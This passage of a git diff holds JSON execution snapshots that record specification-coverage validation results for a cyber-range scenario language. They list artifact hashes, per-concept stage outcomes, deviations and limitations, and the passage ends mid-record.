"/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "9f7edff3ddc324cec333556ce8044c137f87c978a8c38f20f92971259625c43e", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "8960605145b3006bca64a27f26cd9bc662b4f932", + "snapshot_id": "issue-1360-specification-coverage-v52", + "snapshot_revision": "52.0.0", + "source_state": { + "base_revision": "8960605145b3006bca64a27f26cd9bc662b4f932", + "checkout_state": "modified", + "implementation_digest": "6fa015f9b96c0d36598df0327a651dca08e927c2529e6e8a91c932e5e87b3834", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v53.json b/docs/research/specification-coverage/execution-snapshot-v53.json new file mode 100644 index 000000000..8d59d4dab --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v53.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T06:49:00.051312+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": 